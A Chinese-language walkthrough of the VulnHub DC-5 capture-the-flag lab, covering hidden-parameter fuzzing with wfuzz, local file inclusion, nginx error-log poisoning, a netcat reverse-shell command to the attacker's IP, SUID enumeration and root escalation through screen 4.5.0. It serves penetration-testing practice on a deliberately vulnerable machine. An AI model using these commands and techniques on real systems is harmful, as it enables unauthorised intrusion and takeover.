vulnhub DC-5 靶机 walkthrough

Description

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.

And just for the record, there is no phpmailer exploit involved. 😃

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

But if you're really, really stuck, you can watch this video which shows the first step.

实验

收集一下基本信息


依次点击网页,查看有用信息

在 contact.php 中含提交参数

提交后所有参数由 thankyou.php 处理

思路一:sql注入

burp 抓包,对每个参数进行 fuzz 测试,查看是否回显不同或报错

未发现异常,手动测试了一下也是如此。

思路二:wfuzz参数

既然 thankyou.php 会对所有提交的参数进行处理,那么会不会存在隐藏参数呢?

并且如果你仔细一点可以注意到 tankyou.php 页面每刷新一次,copyright 都会变化。说明这个页面是动态的,并且能将某些内容打印出来。

尝试寻找隐藏参数
wfuzz -c -w /usr/share/wordlists/dirb/common.txt 192.168.110.136/thankyou.php?FUZZ=i_like_u

过滤掉相应长度为 851 的数据
wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hh 851 192.168.110.136/thankyou.php?FUZZ=i_like_u

拿到参数 file

一般来说,参数名称和对应功能是相匹配的,可能就是一个读取文件功能。

想到 LFI 本地文件包含漏洞

能够正常读取本地文件。由于目标机器没有 ssh 服务,所有只有反弹 shell 来获取控制权。考虑到这是 nginx 服务,利用日志投毒。

简单来说,就是先在 url 里访问一段恶意的 php 脚本,这个错误信息就会输出到 nginx 的错误日志下,在结合本地文件包含这个错误日志,解析脚本,就能获得控制权。

注意:错误信息会将url框内编码后的内容(未解码)保存到日志文件,所以为了脚本正常执行,用 burp 抓包然后提交恶意内容。


nginx 默认错误日志路径 /var/log/nginx/error.log

命令已经成功执行

反弹shell,...&cmd=nc -e /bin/bash 192.168.110.130 1314

www-data 是最低权限用户,活动范围只在 web 文件夹以内,很多命令受限。

这里依按例次检查这些点

+ privilege escalation

netstat -antup

cd /var/mail;ls

ps aux | grep -i 'root'

sudo -l

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

uname -a

lsb_release -a

最后在 设置了 suid 位的特权文件中发现有意思的东西

4.5.0 版本的 screen 很突出

这个 .sh 文件已经写好了攻击过程,只需要目标机器下载并执行这个脚本即可(前提是有 gcc)。

总结

  • 扫描主机 ip,端口和服务信息。
  • 访问网页,扫描目录,看到多个参数提交点,wfuzz 测试参数找到 file。
  • LFI 本地文件包含加 nginx 日志投毒反弹shell。
  • 查找到 suid 位文件 screen 4.5.0,目标机执行exp获得 root。
相关推荐
齐鲁大虾1 小时前
UOS(统信操作系统)如何更新CUPS(通用Unix打印系统)
linux·服务器·chrome·unix
94621931zyn62 小时前
隐私安全 - Cordova 与 OpenHarmony 混合开发实战
安全
虾..2 小时前
Linux 简单日志程序
linux·运维·算法
huoxingwen3 小时前
Ubuntu 22.04 上 VMware Workstation 点击虚拟机窗口就消失的解决历程
linux·运维·ubuntu
仰望星空@脚踏实地3 小时前
DataKit 服务Web TLS安全问题修复
安全·tls·ecdh·dh
姚青&3 小时前
Linux 常用命令之基本命令
linux·运维·服务器
一路往蓝-Anbo3 小时前
【第05期】数据的微观世界 (五) —— 浮点数 vs 定点数:MCU的数学课
linux·stm32·单片机·嵌入式硬件·物联网
G_H_S_3_3 小时前
【网络运维】企业级监控平台Zabbix:部署与实践指南
linux·运维·网络·zabbix
小周学学学3 小时前
Vcenter Auto Deploy安装与使用
linux·运维·服务器
量子信使4 小时前
量子力学的两大护法:叠加与纠缠
物联网·安全·密码学·信息与通信·量子计算